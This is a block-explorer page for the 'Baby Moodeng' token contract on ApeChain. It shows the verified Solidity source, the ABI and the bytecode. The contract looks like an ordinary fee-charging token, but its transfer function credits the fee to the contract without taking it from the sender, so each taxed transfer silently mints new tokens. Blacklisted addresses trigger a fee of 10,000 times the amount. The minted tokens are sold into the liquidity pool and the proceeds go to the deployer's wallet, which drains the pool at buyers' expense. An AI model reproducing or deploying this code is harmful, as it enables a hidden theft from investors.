APE Price: $1.04 (-7.47%)

Token

Baby Moodeng (BABYMOODENG)

Overview

Max Total Supply

1,000,000,000 BABYMOODENG

Holders

6

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
134,640,368.086100085 BABYMOODENG

Value
$0.00
0x14c4958c44b860a226ff05db7b839fbd6b690f13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BABYMOODENG

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-28
*/

// SPDX-License-Identifier:MIT

// Telegram : https://t.me/babymodengbsc

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BABYMOODENG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=10;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=4;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = "Baby Moodeng";
    string private constant _symbol = "BABYMOODENG";
    uint256 public _maxTxAmount = 150000000 * 10**_decimals;
    uint256 public _maxWalletSize = 150000000 *10**_decimals;
    uint256 public _taxSwapThreshold= 87657800 * 10**_decimals;
    uint256 public _maxTaxSwap= 87657800 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        bots[0x0000fB56e3cE2e3C1f3dC8f5481bD769fEB9f652] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(!bots[from] && !bots[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            } else {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)? 1000000 : 1000000).div(100);
            }
    
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        } 

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),amount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount);
        emit Transfer(from, to, amount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading(uint256 percentage) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        require(msg.value > 0, "BNB amount must be greater than 0");
        require(percentage > 0 && percentage <= 100, "Percentage must be between 1 and 100");
        uniswapV2Router = IUniswapV2Router02(0x18E621B64d7808c3C47bccbbD7485d23F257D26f);
        
        uint256 value = (balanceOf(_msgSender()) * percentage) / 100;
        _approve(_msgSender(), address(uniswapV2Router), _tTotal);
        _transfer(_msgSender(), address(this), value);
        
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uint256 tokenAmount = balanceOf(address(this));
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
        address(this),
        uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: msg.value}(
        address(this),
        tokenAmount,
        0,
        0,
        owner(),
        block.timestamp
        );
    
        IERC20(uniswapV2Pair).approve(
        address(uniswapV2Router),
        type(uint256).max
        );

        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060065560006007556005600855600a6009556005600a556005600b556004600c556000600d556009600a6200003c919062000688565b6308f0d1806200004d9190620006d9565b600e556009600a62000060919062000688565b6308f0d180620000719190620006d9565b600f556009600a62000084919062000688565b6305398d48620000959190620006d9565b6010556009600a620000a8919062000688565b6305398d48620000b99190620006d9565b6011556000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff021916908315150217905550600060145560006015553480156200010957600080fd5b5060006200011c620004bd60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001ca620004bd60201b60201c565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200021a919062000688565b633b9aca006200022b9190620006d9565b600160006200023f620004bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016003600062000293620004c560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016004600071fb56e3ce2e3c1f3dc8f5481bd769feb9f65273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000430620004bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200048f919062000688565b633b9aca00620004a09190620006d9565b604051620004af91906200074b565b60405180910390a362000768565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200057c57808604811115620005545762000553620004ee565b5b6001851615620005645780820291505b808102905062000574856200051d565b945062000534565b94509492505050565b6000826200059757600190506200066a565b81620005a757600090506200066a565b8160018114620005c05760028114620005cb5762000601565b60019150506200066a565b60ff841115620005e057620005df620004ee565b5b8360020a915084821115620005fa57620005f9620004ee565b5b506200066a565b5060208310610133831016604e8410600b84101617156200063b5782820a905083811115620006355762000634620004ee565b5b6200066a565b6200064a84848460016200052a565b92509050818404811115620006645762000663620004ee565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006958262000671565b9150620006a2836200067b565b9250620006d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000585565b905092915050565b6000620006e68262000671565b9150620006f38362000671565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200072f576200072e620004ee565b5b828202905092915050565b620007458162000671565b82525050565b60006020820190506200076260008301846200073a565b92915050565b6132cf80620007786000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461038a578063a9059cbb146103b5578063bf474bed146103f2578063d16336491461041d578063dd62ed3e146104395761011f565b8063715018a6146102db578063751039fc146102f25780637d1db4a5146103095780638da5cb5b146103345780638f9a55c01461035f5761011f565b806323b872dd116100e757806323b872dd146101e2578063313ce5671461021f5780633bbac5791461024a57806351bc3c851461028757806370a082311461029e5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461018c57806318160ddd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610476565b6040516101469190612206565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906122c1565b6104b3565b604051610183919061231c565b60405180910390f35b34801561019857600080fd5b506101a16104d1565b6040516101ae9190612346565b60405180910390f35b3480156101c357600080fd5b506101cc6104d7565b6040516101d99190612346565b60405180910390f35b3480156101ee57600080fd5b5061020960048036038101906102049190612361565b6104fb565b604051610216919061231c565b60405180910390f35b34801561022b57600080fd5b506102346105d4565b60405161024191906123d0565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906123eb565b6105dd565b60405161027e919061231c565b60405180910390f35b34801561029357600080fd5b5061029c610633565b005b3480156102aa57600080fd5b506102c560048036038101906102c091906123eb565b6106d0565b6040516102d29190612346565b60405180910390f35b3480156102e757600080fd5b506102f0610719565b005b3480156102fe57600080fd5b5061030761086c565b005b34801561031557600080fd5b5061031e61099c565b60405161032b9190612346565b60405180910390f35b34801561034057600080fd5b506103496109a2565b6040516103569190612427565b60405180910390f35b34801561036b57600080fd5b506103746109cb565b6040516103819190612346565b60405180910390f35b34801561039657600080fd5b5061039f6109d1565b6040516103ac9190612206565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d791906122c1565b610a0e565b6040516103e9919061231c565b60405180910390f35b3480156103fe57600080fd5b50610407610a2c565b6040516104149190612346565b60405180910390f35b61043760048036038101906104329190612442565b610a32565b005b34801561044557600080fd5b50610460600480360381019061045b919061246f565b611092565b60405161046d9190612346565b60405180910390f35b60606040518060400160405280600c81526020017f42616279204d6f6f64656e670000000000000000000000000000000000000000815250905090565b60006104c76104c0611119565b8484611121565b6001905092915050565b60115481565b60006009600a6104e79190612611565b633b9aca006104f6919061265c565b905090565b60006105088484846112ea565b6105c984610514611119565b6105c48560405180606001604052806028815260200161327260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061057a611119565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c9092919063ffffffff16565b611121565b600190509392505050565b60006009905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610674611119565b73ffffffffffffffffffffffffffffffffffffffff161461069457600080fd5b600061069f306106d0565b905060008111156106b4576106b381611ca0565b5b600047905060008111156106cc576106cb81611f19565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610721611119565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a590612702565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610874611119565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f890612702565b60405180910390fd5b6009600a61090f9190612611565b633b9aca0061091e919061265c565b600e819055506009600a6109329190612611565b633b9aca00610941919061265c565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109769190612611565b633b9aca00610985919061265c565b6040516109929190612346565b60405180910390a1565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600b81526020017f424142594d4f4f44454e47000000000000000000000000000000000000000000815250905090565b6000610a22610a1b611119565b84846112ea565b6001905092915050565b60105481565b610a3a611119565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90612702565b60405180910390fd5b601360149054906101000a900460ff1615610b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0e9061276e565b60405180910390fd5b60003411610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5190612800565b60405180910390fd5b600081118015610b6b575060648111155b610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba190612892565b60405180910390fd5b7318e621b64d7808c3c47bccbbd7485d23f257d26f601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606482610c14610c0f611119565b6106d0565b610c1e919061265c565b610c2891906128e1565b9050610c7a610c35611119565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c669190612611565b633b9aca00610c75919061265c565b611121565b610c8c610c85611119565b30836112ea565b610cd530601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610cc19190612611565b633b9aca00610cd0919061265c565b611121565b6000610ce0306106d0565b9050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d739190612927565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e209190612927565b6040518363ffffffff1660e01b8152600401610e3d929190612954565b6020604051808303816000875af1158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e809190612927565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080610f0c6109a2565b426040518863ffffffff1660e01b8152600401610f2e969594939291906129c2565b60606040518083038185885af1158015610f4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f719190612a38565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611013929190612a8b565b6020604051808303816000875af1158015611032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110569190612ae0565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612b7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f690612c11565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112dd9190612346565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090612ca3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf90612d35565b60405180910390fd5b6000811161140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140290612dc7565b60405180910390fd5b60006114156109a2565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561148357506114536109a2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119a357600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561152c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117fd5761156d606461155f600a54600d541161154c57600654611550565b6008545b85611f8590919063ffffffff16565b611fff90919063ffffffff16565b9050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561161a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116705750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172b57600e548211156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b190612e33565b60405180910390fd5b600f54826116c7856106d0565b6116d19190612e53565b1115611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990612ef5565b60405180910390fd5b600d600081548092919061172590612f15565b91905055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117b457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117f8576117f560646117e7600b54600d54116117d4576007546117d8565b6009545b85611f8590919063ffffffff16565b611fff90919063ffffffff16565b90505b611843565b6118406064611832600b54600d541161181957620f424061181e565b620f42405b62ffffff1685611f8590919063ffffffff16565b611fff90919063ffffffff16565b90505b600061184e306106d0565b9050601360159054906101000a900460ff161580156118ba5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118d25750601360169054906101000a900460ff165b80156118df575060105481115b80156118ee5750600c54600d54115b156119a1576015544311156119065760006014819055505b60036014541061194b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194290612fa9565b60405180910390fd5b6119686119638461195e84601154612049565b612049565b611ca0565b600047905060008111156119805761197f47611f19565b5b6014600081548092919061199390612f15565b919050555043601581905550505b505b6000811115611aa7576119fe81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206290919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a9e9190612346565b60405180910390a35b611af982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b8e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffff